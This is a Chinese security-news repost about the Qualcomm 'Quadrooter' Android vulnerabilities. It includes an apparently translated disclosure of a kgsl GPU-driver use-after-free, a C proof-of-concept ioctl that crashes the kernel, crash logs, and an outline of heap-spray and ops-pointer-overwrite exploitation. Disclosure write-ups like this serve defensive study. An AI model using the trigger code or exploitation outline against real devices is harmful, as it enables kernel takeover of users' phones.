安全動態(tài)

危害9億安卓設(shè)備高通漏洞細(xì)節(jié)曝光

來源:聚銘網(wǎng)絡(luò)    發(fā)布時間:2016-08-15    瀏覽次數(shù):
 

信息來源:比特網(wǎng)

(一)、前言

就在幾天之前,安全研究專家在高通芯片內(nèi)發(fā)現(xiàn)了一系列嚴(yán)重的Android安全漏洞,受這些漏洞影響的Android智能手機(jī)平板電腦數(shù)量將會超過九億臺。更可怕的是,大部分受漏洞影響的Android設(shè)備可能永遠(yuǎn)都不會被修復(fù)。

據(jù)了解,安全研究專家此次曝光了四個漏洞,這一組漏洞代號為“Quadrooter”。這些漏洞存在于配備了高通芯片的Android設(shè)備中,受影響的Android系統(tǒng)版本為Android 6.0(Marshmallow)及其以下版本。攻擊者可以利用這些漏洞來獲取到目標(biāo)設(shè)備(配備了高通芯片)的完整訪問權(quán)限。

這四個安全漏洞分別為:

1. CVE-2016-2503:該漏洞存在于高通芯片的GPU驅(qū)動程序中,谷歌公司在2016年7月份的安卓安全公告中正式宣布成功修復(fù)了此漏洞。

2. CVE-2016-2504:該漏洞存在于高通芯片的GPU驅(qū)動程序中,谷歌公司在2016年8月份的安卓安全公告中正式宣布成功修復(fù)了此漏洞。

3. CVE-2016-2059:該漏洞存在于高通芯片的內(nèi)核模塊中,公司于今年四月份就已經(jīng)修復(fù)了該漏洞。

4. CVE-2016-5340:該漏洞同樣存在于高通芯片的GPU驅(qū)動程序中,該漏洞目前已成功修復(fù)。

http://www.2cto.com/uploadfile/Collfiles/20160813/2016081309210423.png

攻擊者只需要開發(fā)一個簡單的惡意軟件,然后將惡意軟件發(fā)送給目標(biāo)用戶。一旦惡意軟件成功安裝,攻擊者就能夠直接獲取到感染設(shè)備的root訪問權(quán)限。

我們在下面這份列表中列出了當(dāng)前較為熱門的幾款受影響設(shè)備,雖然還有很多其他的移動設(shè)備同樣會受到上述漏洞的影響,但是由于相關(guān)設(shè)備的數(shù)量過于龐大,所以我們在此無法一一列舉。

-Samsung Galaxy S7、Samsung S7 Edge

-Sony Xperia Z Ultra

-OnePlus One、OnePlus 2、OnePlus 3

-Google Nexus 5X、Nexus 6、Nexus 6P

-Blackphone 1、Blackphone 2

-HTC One、HTC M9、HTC 10

-LG G4、LG G5、LG V10

-New Moto X(Motorola)

-BlackBerry Priv

(二)、漏洞概述

2016年8月份的Nexus安全公告對這一漏洞(CVE-2016-3842)進(jìn)行了評估,感興趣的讀者可以點(diǎn)擊這里閱讀這份安全公告。

細(xì)心的讀者可能已經(jīng)發(fā)現(xiàn)了,這個漏洞似乎分配到了兩個CVE編號。這也就意味著,將會出現(xiàn)一個修復(fù)補(bǔ)丁將會同時修復(fù)兩個漏洞的情況,請大家不要驚訝。

另外一個漏洞就是前言所提到的CVE-2016-2504,該漏洞的發(fā)現(xiàn)者是Adam Donenfeld。

我對漏洞CVE-2016-2504進(jìn)行了分析,但是我無法找出這兩個CVE漏洞之間的區(qū)別,所以我推測這兩個漏洞描述的是同一個問題。所以在這篇文章中,我只會對我上報給谷歌公司的那個初始漏洞進(jìn)行描述。

(三)、技術(shù)細(xì)節(jié):

ioctl是設(shè)備驅(qū)動程序中對設(shè)備的I/O通道進(jìn)行管理的函數(shù),所謂對I/O通道進(jìn)行管理,指的就是對設(shè)備的一些特性進(jìn)行控制。ioctl函數(shù)是文件結(jié)構(gòu)中的一個屬性分量,如果你的驅(qū)動程序提供了對ioctl的支持,用戶就能在用戶程序中使用ioctl函數(shù)控制設(shè)備的I/O通道。

高通的MSM GPU驅(qū)動程序(也被稱為kgsl驅(qū)動)提供了一個ioctl命令-IOCTL_KGSL_GPUMEM_ALLOC,這條控制命令可以允許用戶態(tài)的應(yīng)用程序分配得到GPU與主存共享的那一部分內(nèi)存空間。

在這個函數(shù)中,驅(qū)動程序?qū)?chuàng)建一個名為“kgsl_mem_entry”的結(jié)構(gòu)體來標(biāo)識被分配出去的那塊內(nèi)存空間。

當(dāng)某一線程向kgsl驅(qū)動程序發(fā)送了IOCTL_KGSL_GPUMEM_ALLOC命令之后,函數(shù)“kgsl_mem_entry_attach_process”將會通過調(diào)用“idr_alloc”函數(shù)來為“kgsl_mem_entry”對象分配一個id。

但是在這個時候,可能有其他的線程會在函數(shù)“kgsl_ioctl_gpumem_alloc”的結(jié)果值還沒正常返回的情況下,就發(fā)送IOCTL_KGSL_GPUMEM_FREE_ID命令去釋放剛剛分配的結(jié)構(gòu)體對象(kgsl_mem_entry)。

這也就意味著,函數(shù)“kgsl_ioctl_gpumem_alloc”將會繼續(xù)使用這個已經(jīng)被釋放了的“kgsl_mem_entry”對象。

正如技術(shù)人員在補(bǔ)丁文件中寫到的那樣:

“如果我們過早地在idr和rb進(jìn)程樹中添加了kgsl_mem_entry指針,那么其他的線程就可以在這一對象得到創(chuàng)建函數(shù)的返回值之前,通過猜測對象ID或者GPU地址來操作這個結(jié)構(gòu)體對象了?!?/span>

實(shí)際上,“kgsl_mem_entry”對象的ID其實(shí)是非常好猜測的。你在內(nèi)核中分配的第一個entry其ID永遠(yuǎn)都為1。

(四)、概念驗(yàn)證POC

所以,你可以通過下列操作代碼來觸發(fā)這個漏洞:

void kgsl_poc(){

//kgsl_sharedmem_page_alloc_user

int fd = open("/dev/kgsl-3d0",0);

struct kgsl_gpumem_alloc_id arg;

arg.flags = 0;

arg.size = 0xa18fb010b0c08000;

ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC_ID, &arg);

}

int main(int argc, char *argv[]) {

kgsl_poc();

return 0;

}

運(yùn)行結(jié)果:

[ 96.006342] Unable to handle kernel NULL pointer dereference at virtual address 0000000c

[ 96.006370] pgd = ffffffc0303dd000

[ 96.006379] [0000000c] *pgd=0000000000000000

[ 96.006403] Internal error: Oops: 96000005 [#1] PREEMPT SMP

[ 96.006422] CPU: 2 PID: 5898 Comm: report Tainted: G W 3.10.73-g8c0675f #1

[ 96.006432] task: ffffffc05ac7d600 ti: ffffffc03cd54000 task.ti: ffffffc03cd54000

[ 96.006457] PC is at msm_iommu_map_range+0x8c/0x344

[ 96.006468] LR is at msm_iommu_map_range+0x6c/0x344

[ 96.006478] pc : [] lr : [] pstate: 80000145

[ 96.006485] sp : ffffffc03cd57b60

[ 96.006493] x29: ffffffc03cd57b60 x28: ffffffc03cd54000

[ 96.006507] x27: 0000000000000001 x26: 0000000000000000

[ 96.006521] x25: ffffffc03cd57bf0 x24: 0000000000100000

[ 96.006536] x23: 00000000e8000000 x22: ffffffc001afe000

[ 96.006551] x21: 0000000000000000 x20: ffffffc0b655c4c0

[ 96.006566] x19: 0000000000100000 x18: ffffffc03cd57968

[ 96.006581] x17: 0000000000000000 x16: 0000000000000000

[ 96.006595] x15: 0000000000000000 x14: 0ffffffffffffffe

[ 96.006610] x13: 0000000000000010 x12: 0101010101010101

[ 96.006625] x11: 7f7f7f7f7f7f7f7f x10: 765e6e735e787173

[ 96.006640] x9 : 7f7f7f7f7f7f7f7f x8 : 000e773888717246

[ 96.006655] x7 : 0000000000000018 x6 : ffffffc0009eb55c

[ 96.006669] x5 : ffffffc0b655c4c0 x4 : 0000000000000000

[ 96.006684] x3 : 0000000000000000 x2 : ffffffc0b9e6c118

[ 96.006699] x1 : ffffffc0b9f03018 x0 : 0000000000000012

[ 96.006713]

[ 96.006722] Process report (pid: 5898, stack limit = 0xffffffc03cd54058)

[ 96.006731] Call trace:

[ 96.006744] [] msm_iommu_map_range+0x8c/0x344

[ 96.006756] [] iommu_map_range+0x20/0x34

[ 96.006776] [] kgsl_iommu_map+0x1ac/0x1f8

[ 96.006788] [] kgsl_mmu_map+0x94/0x114

[ 96.006807] [] kgsl_mem_entry_attach_process.isra.26+0x120/0x170

[ 96.006819] [] kgsl_ioctl_gpumem_alloc+0x64/0x144

[ 96.006833] [] kgsl_ioctl_helper+0x220/0x2b8

[ 96.006844] [] kgsl_ioctl+0x1c/0x28

[ 96.006862] [] do_vfs_ioctl+0x4a8/0x57c

[ 96.006874] [] SyS_ioctl+0x5c/0x88

[ 96.006888] Code: 35000700 b9407040 910243b9 b9009fa0 (b9400eb4)

[ 96.006927] ---[ end trace 221b98014bd

Poison Overwritten:

[ 181.749195] =============================================================================

[ 181.749229] BUG kmalloc-192 (Tainted: G W ): Poison overwritten

[ 181.749246] ——————————————————————————————————————

[ 181.749246]

[ 181.749268] Disabling lock debugging due to kernel taint

[ 181.749289] INFO: 0xffffffc0af755f88-0xffffffc0af755f8f. First byte 0x0 instead of 0x6b

[ 181.749332] INFO: Allocated in _gpumem_alloc.constprop.11+0xe0/0x220 age=0 cpu=2 pid=1678

[ 181.749360] alloc_debug_processing+0xc8/0x16c

[ 181.749387] __slab_alloc.isra.20.constprop.27+0x27c/0x2dc

[ 181.749411] kmem_cache_alloc_trace+0x74/0x1c8

[ 181.749434] _gpumem_alloc.constprop.11+0xdc/0x220

[ 181.749459] kgsl_ioctl_gpumem_alloc+0x40/0x18c

[ 181.749485] kgsl_ioctl_helper+0x2c4/0x340

[ 181.749508] kgsl_ioctl+0x3c/0x50

[ 181.749532] vfs_ioctl+0x60/0x74

[ 181.749555] do_vfs_ioctl+0x98/0x610

[ 181.749577] SyS_ioctl+0x70/0xac

[ 181.749603] cpu_switch_to+0x48/0x4c

[ 181.749633] INFO: Freed in kgsl_mem_entry_destroy+0xac/0x1a4 age=0 cpu=1 pid=1680

[ 181.749658] free_debug_processing+0x204/0x2ac

[ 181.749680] __slab_free+0x1b8/0x2cc

[ 181.749703] kfree+0x218/0x220

[ 181.749726] kgsl_mem_entry_destroy+0xa8/0x1a4

[ 181.749750] _sharedmem_free_entry+0x214/0x22c

[ 181.749774] kgsl_ioctl_gpumem_free_id+0x158/0x164

[ 181.749799] kgsl_ioctl_helper+0x2c4/0x340

[ 181.749822] kgsl_ioctl+0x3c/0x50

[ 181.749844] vfs_ioctl+0x60/0x74

[ 181.749867] do_vfs_ioctl+0x98/0x610

[ 181.749889] SyS_ioctl+0x70/0xac

[ 181.749913] cpu_switch_to+0x48/0x4c

[ 181.749936] INFO: Slab 0xffffffbc06da9480 objects=28 used=28 fp=0x (null) flags=0x4080[ 181.749956] INFO: Object 0xffffffc0af755f80 @offset=8064 fp=0xffffffc0af757180

(五)、漏洞利用

在我看來,雖然攻擊者可以利用這個漏洞來進(jìn)行攻擊,但是針對該漏洞的利用技術(shù)非常不穩(wěn)定。

我很想跟大家分享一些關(guān)于這一漏洞的利用技術(shù),但是說實(shí)話,我自己也沒能夠完全掌握該漏洞的利用技巧。

對于我自己而言,只有穩(wěn)定且通用的漏洞利用技術(shù)才值得花時間去開發(fā),所以我就不打算在這個漏洞上花費(fèi)太多的時間和精力了。

為了避免在漏洞利用的過程中出現(xiàn)內(nèi)核崩潰的情況,你需要在短時間內(nèi)重新為系統(tǒng)分配一個新的“mem_entry”對象(因?yàn)橹暗膶ο笠呀?jīng)被清空了),而且至少要在分配進(jìn)程訪問“msm_iommu_map_range”地址之前完成你的對象分配操作。

在這一過程中不得不提到一項技術(shù),即堆噴射技術(shù)。在計算機(jī)安全領(lǐng)域中,如果想要實(shí)現(xiàn)任意代碼執(zhí)行,那么堆噴射技術(shù)(Heap Spraying)就是一種較為容易的技術(shù)實(shí)現(xiàn)手段了。在一般情況下,堆噴射代碼會試圖將自身大面積地填充至進(jìn)程的堆棧空間中,并以正確的方式將命令寫滿這部分內(nèi)存區(qū)域,以實(shí)現(xiàn)在目標(biāo)進(jìn)程的內(nèi)存中預(yù)留位置,并寫入任意的控制指令。

為了實(shí)現(xiàn)這一步操作,我嘗試了多種方法,包括采用堆噴射技術(shù)來填充內(nèi)核空間。但是我在測試之后發(fā)現(xiàn),我所采用的最佳方法其成功率也只有40%,大部分情況下內(nèi)核都會發(fā)生崩潰。我所采用的方法就是通過seccomp-bpf程序配合堆噴射技術(shù),迅速將數(shù)據(jù)內(nèi)容填充堆內(nèi)存空間。谷歌的Project Zero團(tuán)隊曾在去年的一篇文章中介紹過這項技術(shù),感興趣的讀者可以點(diǎn)擊這里進(jìn)行閱讀。需要注意的是,seccomp-bpf只能用于對版本為3.10的內(nèi)核進(jìn)行堆噴操作。如果我們能夠重新填充之前被意外釋放的那部分內(nèi)存空間,那么控制目標(biāo)計算機(jī)的注冊表也就是一件很簡單的事情了。

在“kgsl_mem_entry”結(jié)構(gòu)體中,存在一個名為“kgsl_memdesc_ops”的結(jié)構(gòu)體指針,它可以被攻擊者完全控制:

struct kgsl_mem_entry {

struct kref refcount;

struct kgsl_memdesc memdesc;

void *priv_data;

struct rb_node node;

unsigned int id;

struct kgsl_process_private *priv;

int pending_free;

};

/* shared memory allocation */

struct kgsl_memdesc {

struct kgsl_pagetable *pagetable;

void *hostptr;

unsigned int hostptr_count;

unsigned long useraddr;

unsigned int gpuaddr;

phys_addr_t physaddr;

size_t size;

unsigned int priv;

struct scatterlist *sg;

unsigned int sglen;

struct kgsl_memdesc_ops *ops; /* ====== the POINTER of ops you can control */

unsigned int flags;

struct device *dev;

struct dma_attrs attrs;

};

struct kgsl_memdesc_ops {

unsigned int vmflags;

int (*vmfault)(struct kgsl_memdesc *, struct vm_area_struct *,

struct vm_fault *);

void (*free)(struct kgsl_memdesc *memdesc);

int (*map_kernel)(struct kgsl_memdesc *);

void (*unmap_kernel)(struct kgsl_memdesc *);

};

通過重寫“kgsl_memdesc_ops”指針,并讓它指向你的ROP/JOP鏈,你就可以成功實(shí)現(xiàn)內(nèi)核代碼執(zhí)行了。


2016年4月25日:將該漏洞提交給谷歌公司;

2016年5月5日:谷歌公司對該漏洞進(jìn)行了評估,并將該漏洞的評級設(shè)置為“高危漏洞”;

2016年6月29日:該漏洞分配到了編號CVE-2016-3842;

2016年8月1日:2016年8月份的Nexus安全公告正式披露了該漏洞的內(nèi)容

(八)、總結(jié)

Android系統(tǒng)的安全問題真是令人頭疼的問題。再加上近期高通公司的處理器芯片頻爆漏洞,無疑是在給Android手機(jī)目前的安全現(xiàn)狀雪上加霜。

高通(Qualcomm)是一家美國的無線通信技術(shù)研發(fā)公司,成立于1985年7月,在以技術(shù)創(chuàng)新推動無線通訊向前發(fā)展方面扮演著重要的角色。目前,高通公司所生產(chǎn)的CPU芯片和GPU芯片已經(jīng)被廣泛應(yīng)用于各大廠商的安卓智能手機(jī)上了,考慮到如此大的用戶群體,高通公司是不是應(yīng)該加強(qiáng)產(chǎn)品的安全監(jiān)管呢?

當(dāng)然了,無論產(chǎn)品做得多么優(yōu)秀,安全問題永遠(yuǎn)都會存在。沒有折不斷的茅,也沒有攻不破的盾。也許這就是信息安全吧!

 
 

上一篇:做好覺悟了嗎?棄用短信雙因素身份驗(yàn)證!

下一篇:2016年08月15日 聚銘安全速遞